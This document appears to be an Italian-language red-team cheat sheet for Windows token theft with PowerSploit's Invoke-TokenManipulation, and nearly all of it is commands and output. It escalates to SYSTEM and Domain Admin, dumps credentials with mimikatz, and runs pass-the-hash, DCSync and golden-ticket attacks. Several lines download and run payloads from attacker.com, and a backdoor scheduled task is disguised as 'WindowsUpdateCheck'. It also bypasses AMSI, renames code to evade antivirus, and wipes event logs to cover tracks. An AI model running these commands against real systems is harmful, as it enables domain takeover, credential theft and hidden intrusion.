Invoke-Manipulation: PowerShell Obfuscation per Evasion AV

# Clone PowerSploit repo
git clone https://github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit/Exfiltration

# Oppure download diretto
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1" -OutFile Invoke-TokenManipulation.ps1

# Import modulo
Import-Module .\Invoke-TokenManipulation.ps1

# Oppure dot-source
. .\Invoke-TokenManipulation.ps1

# Oppure da remoto (in-memory)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-TokenManipulation.ps1')

PS C:\> Get-Command Invoke-TokenManipulation

CommandType     Name                      Version    Source
-----------     ----                      -------    ------
Function        Invoke-TokenManipulation  1.11       

# Verifica privilegi correnti
whoami /priv | Select-String "SeDebug\|SeImpersonate"

Invoke-TokenManipulation -Enumerate

# Impersona utente specifico (thread-level)
Invoke-TokenManipulation -ImpersonateUser -Username "CORP\Administrator"

whoami
# Output: corp\administrator

# Crea cmd.exe come SYSTEM
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM"

# Crea PowerShell come Administrator
Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "CORP\Administrator"

# Torna all'identità originale
Invoke-TokenManipulation -RevToSelf

# Enumera token
Invoke-TokenManipulation -Enumerate

# Output mostra:
# ProcessId: 2344, LogonType: Interactive, Username: CORP\Administrator
# ProcessId: 3456, LogonType: Network, Username: CORP\Administrator

# Impersona Interactive token (funziona per network auth)
Invoke-TokenManipulation -ImpersonateUser -Username "CORP\Administrator" -ProcessId 2344

# Test network auth
net use \\DC01\C$ /user:CORP\Administrator
# Success!

# Impersona Network token (fallisce per network auth)
Invoke-TokenManipulation -ImpersonateUser -Username "CORP\Administrator" -ProcessId 3456

# Test network auth
net use \\DC01\C$ /user:CORP\Administrator
# Error: Logon failure

# Metodo 1: Impersona SYSTEM thread-level
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"

# Verifica
whoami
# Output: nt authority\system

# Metodo 2: Crea processo come SYSTEM (preferito)
Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "NT AUTHORITY\SYSTEM"

# Identifica processo target
Get-Process | Where-Object {$_.ProcessName -eq "explorer"} | Select-Object Id, Name, @{Name="Owner";Expression={(Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)").GetOwner().User}}

# Output:
# Id    Name      Owner
# 2344  explorer  Administrator

# Ruba token da processo specifico
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 2344

# Se sei admin ma UAC blocca, ruba token elevated
$elevated = Get-Process | Where-Object {$_.ProcessName -eq "services" -or $_.ProcessName -eq "winlogon"} | Select-Object -First 1

Invoke-TokenManipulation -CreateProcess "powershell.exe" -ProcessId $elevated.Id

# Escalate to SYSTEM
Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "NT AUTHORITY\SYSTEM"

# Nel nuovo PowerShell SYSTEM:
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Trova Domain Admin logged in
Invoke-TokenManipulation -Enumerate | Where-Object {$_.Username -like "*\Administrator" -and $_.LogonType -ne "Network"}

# Output:
# ProcessId: 1520, LogonType: Interactive, Username: CORP\Administrator

# Crea processo come DA
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "CORP\Administrator"

# Nel nuovo cmd (DA context):
# Test network authentication
net use \\DC01\C$
# Success - hai network auth capability!

# PsExec to DC
psexec.exe \\DC01 cmd.exe

# Identifica service con Domain Admin context
Get-WmiObject Win32_Service | Where-Object {$_.StartName -like "CORP\Administrator"} | Select Name, StartName, ProcessId

# Ruba token service
Invoke-TokenManipulation -CreateProcess "powershell.exe" -ProcessId [SERVICE_PID]

# Script monitor continuo per nuovi DA token
while ($true) {
    $da_tokens = Invoke-TokenManipulation -Enumerate | Where-Object {
        $_.Username -like "*\Administrator" -and 
        $_.LogonType -eq "Interactive"
    }
    
    if ($da_tokens) {
        Write-Host "[+] Domain Admin token found!" -ForegroundColor Green
        $da_tokens | Format-Table
        
        # Auto-escalate
        Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username $da_tokens[0].Username
        break
    }
    
    Start-Sleep -Seconds 60
}

# Load script
IEX (Get-Content Invoke-TokenManipulation.ps1 -Raw)

# Enumera token SYSTEM
Invoke-TokenManipulation -Enumerate | Where-Object {$_.Username -eq "NT AUTHORITY\SYSTEM"}

# Crea PowerShell come SYSTEM
Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "NT AUTHORITY\SYSTEM"

# Ora con SYSTEM, dump LSASS
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Oppure procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp

Invoke-TokenManipulation -Enumerate | Format-Table -AutoSize

Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "CORP\Administrator"

whoami
# Output: corp\administrator

# Test SMB to DC
net use \\DC01\C$
# Output: The command completed successfully

# Map domain admin share
dir \\DC01\C$\Users\Administrator\Desktop

# PSExec to DC
.\psexec.exe \\DC01 cmd.exe

# Oppure WMI
wmic /node:DC01 /user:CORP\Administrator process call create "cmd.exe /c whoami > C:\output.txt"

Invoke-TokenManipulation -Enumerate | Where-Object {
    $_.Username -eq "CORP\Administrator" -and 
    $_.LogonType -ne "Network"
}

Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*Administrator*"} | Select TaskName, State, @{Name="User";Expression={$_.Principal.UserId}}

# Monitor process creation
while ($true) {
    $tasks = Get-Process | Where-Object {
        (Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)").GetOwner().User -eq "Administrator"
    }
    
    if ($tasks) {
        Write-Host "[+] Administrator process detected: $($tasks.ProcessName) PID: $($tasks.Id)"
        
        # Steal token immediately
        Invoke-TokenManipulation -CreateProcess "powershell.exe" -ProcessId $tasks.Id
        break
    }
    
    Start-Sleep -Seconds 10
}

# Nel PowerShell DA:
# Crea nuovo scheduled task con backdoor
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -C IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

$trigger = New-ScheduledTaskTrigger -Daily -At 3am

Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger -User "CORP\Administrator" -Password "NotNeeded" -RunLevel Highest

# Sysmon Event 1 monitoring più reattivo
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} -MaxEvents 1 -Wait | ForEach-Object {
    if ($_.Properties[5].Value -like "*Administrator*") {
        $pid = $_.Properties[3].Value
        Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $pid
    }
}

# Step 1: Escalate to SYSTEM
Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "NT AUTHORITY\SYSTEM"

# Step 2: Nel nuovo PowerShell SYSTEM, dump creds
.\mimikatz.exe "sekurlsa::logonpasswords" "exit" > creds.txt

# Step 3: Parse NTLM hash
$ntlm = Select-String "NTLM : " creds.txt | Select -First 1
$hash = $ntlm -replace ".*NTLM : ", ""

# Step 4: Pass-the-Hash con Impacket
psexec.py -hashes ":$hash" CORP/Administrator@192.168.1.100

# Step 1: Token theft DA
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "CORP\Administrator"

# Step 2: Nel cmd DA context
# PsExec to DC
psexec.exe \\DC01 -s cmd.exe

# Oppure remoto con explicit creds (se hai password)
psexec.exe \\DC01 -u CORP\Administrator -p Password123! cmd.exe

# Escalate to SYSTEM first
Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "NT AUTHORITY\SYSTEM"

# Nel PowerShell SYSTEM:
# Method 1: Traditional Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Method 2: Invoke-Mimikatz (PowerShell wrapper)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds

# Upload Invoke-TokenManipulation
meterpreter> upload Invoke-TokenManipulation.ps1 C:\\Temp\\itm.ps1

# Shell to PowerShell
meterpreter> shell
C:\> powershell -ep bypass

PS> Import-Module C:\Temp\itm.ps1

# Escalate to local admin (via UAC bypass o exploit)
# [privilege escalation phase omitted]

# Ora con local admin, escalate to SYSTEM
PS> Invoke-TokenManipulation -CreateProcess "powershell.exe" -Username "NT AUTHORITY\SYSTEM"

# Dump LSASS
.\mimikatz.exe "sekurlsa::logonpasswords" "exit" > C:\Temp\creds.txt

# Parse credentials
$creds = Select-String "Username|Password|NTLM" C:\Temp\creds.txt

# Test credentials
net use \\MGMT-SERVER\C$ /user:CORP\it_admin ITAdmin2024!
# Success!

# PsExec to management server
.\psexec.exe \\MGMT-SERVER -u CORP\it_admin -p ITAdmin2024! cmd.exe

# Upload Invoke-TokenManipulation
# [transfer phase]

# Enumerate tokens
Invoke-TokenManipulation -Enumerate

# Output mostra:
# ProcessId: 2456, LogonType: Interactive, Username: CORP\Administrator

# Steal DA token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "CORP\Administrator"

# Network auth to DC
net use \\DC01\C$
# Success

# PSExec to DC
psexec.exe \\DC01 cmd.exe

# DCSync attack
mimikatz.exe "lsadump::dcsync /user:Administrator /domain:corp.local" exit

# Golden ticket
mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:[HASH] /ptt" exit

<Sysmon>
  <RuleGroup name="Token Theft">
    <ProcessAccess onmatch="include">
      <GrantedAccess condition="is">0x1fffff</GrantedAccess>
      <SourceImage condition="contains">powershell</SourceImage>
      <TargetImage condition="contains">winlogon</TargetImage>
    </ProcessAccess>
  </RuleGroup>
</Sysmon>

# AMSI bypass (uno di molti)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Ora load script
IEX (Get-Content Invoke-TokenManipulation.ps1 -Raw)

# Downgrade a PSv2 (se disponibile)
powershell.exe -Version 2 -ep bypass

# Load script (no AMSI)
. .\Invoke-TokenManipulation.ps1

# String replacement per evadere signature
(Get-Content Invoke-TokenManipulation.ps1) -replace 'Invoke-TokenManipulation','Invoke-TME' | Set-Content ITM_Obf.ps1

# Rename functions interne
# [manual obfuscation required]

# Execute obfuscated version
Import-Module .\ITM_Obf.ps1
Invoke-TME -Enumerate

# Load senza toccare disco
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-TokenManipulation.ps1')

# Immediate execution
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM"

# No file artifacts

# Revert any active impersonation
Invoke-TokenManipulation -RevToSelf

# Elimina script da disco
Remove-Item C:\Temp\Invoke-TokenManipulation.ps1 -Force

# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force

# Clear event logs (requires admin)
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# Kill spawned processes
Get-Process | Where-Object {$_.ProcessName -eq "cmd" -and (Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)").GetOwner().User -eq "SYSTEM"} | Stop-Process -Force

# Clear specific Event IDs
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4673} -MaxEvents 100 | ForEach-Object {
    wevtutil cl Security
}

$targets = @("WKSTN-01", "WKSTN-02", ... "WKSTN-20")

foreach ($target in $targets) {
    Invoke-Command -ComputerName $target -ScriptBlock {
        IEX (Get-Content C:\Temp\ITM.ps1 -Raw)
        Invoke-TokenManipulation -Enumerate | Where-Object {$_.Username -like "*Administrator*"}
    }
}

# Tempo: ~60 secondi (3 sec/target)

$targets | ForEach-Object -Parallel {
    Invoke-Command -ComputerName $_ -ScriptBlock {
        IEX (Get-Content C:\Temp\ITM.ps1 -Raw)
        Invoke-TokenManipulation -Enumerate | Where-Object {$_.Username -like "*Administrator*"}
    }
} -ThrottleLimit 10

# Tempo: ~10-15 secondi

whoami /priv | Select-String "SeDebug"

# Abilita SeDebugPrivilege (se sei Administrator)
Enable-Privilege SeDebugPrivilege

# Oppure esegui PowerShell elevated
Start-Process powershell -Verb RunAs

# Verifica se processo è protected
Get-Process -Id [PID] | Select-Object Name, ProcessName, @{Name="Protected";Expression={$_.SafeHandle.IsInvalid}}

query user
# Output: No User exists

# Crea RDP session come target user (se hai creds)
cmdkey /generic:TERMSRV/localhost /user:CORP\admin /pass:Password123!
mstsc /v:localhost

Invoke-TokenManipulation -Enumerate | Format-Table

# Filtra solo token utilizzabili
$usable = Invoke-TokenManipulation -Enumerate | Where-Object {
    $_.LogonType -ne "Network"
}

# Usa questi token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username $usable[0].Username

# Set execution policy per sessione corrente
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force

# Poi import
Import-Module .\Invoke-TokenManipulation.ps1

# Dot-source senza import
. .\Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -Enumerate | Where-Object {$_.LogonType -eq "NewCredentials"}

# 1. Load script
IEX (Get-Content Invoke-TokenManipulation.ps1 -Raw)

# 2. Enumerate tokens
Invoke-TokenManipulation -Enumerate | Format-Table

# 3. Identify target (DA, SYSTEM)
$target = Invoke-TokenManipulation -Enumerate | Where-Object {
    $_.Username -like "*Administrator*" -and $_.LogonType -ne "Network"
} | Select -First 1

# 4. Steal token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username $target.Username

# 5. In new cmd, test network auth
net use \\DC01\C$

# 6. Lateral movement
psexec.exe \\DC01 cmd.exe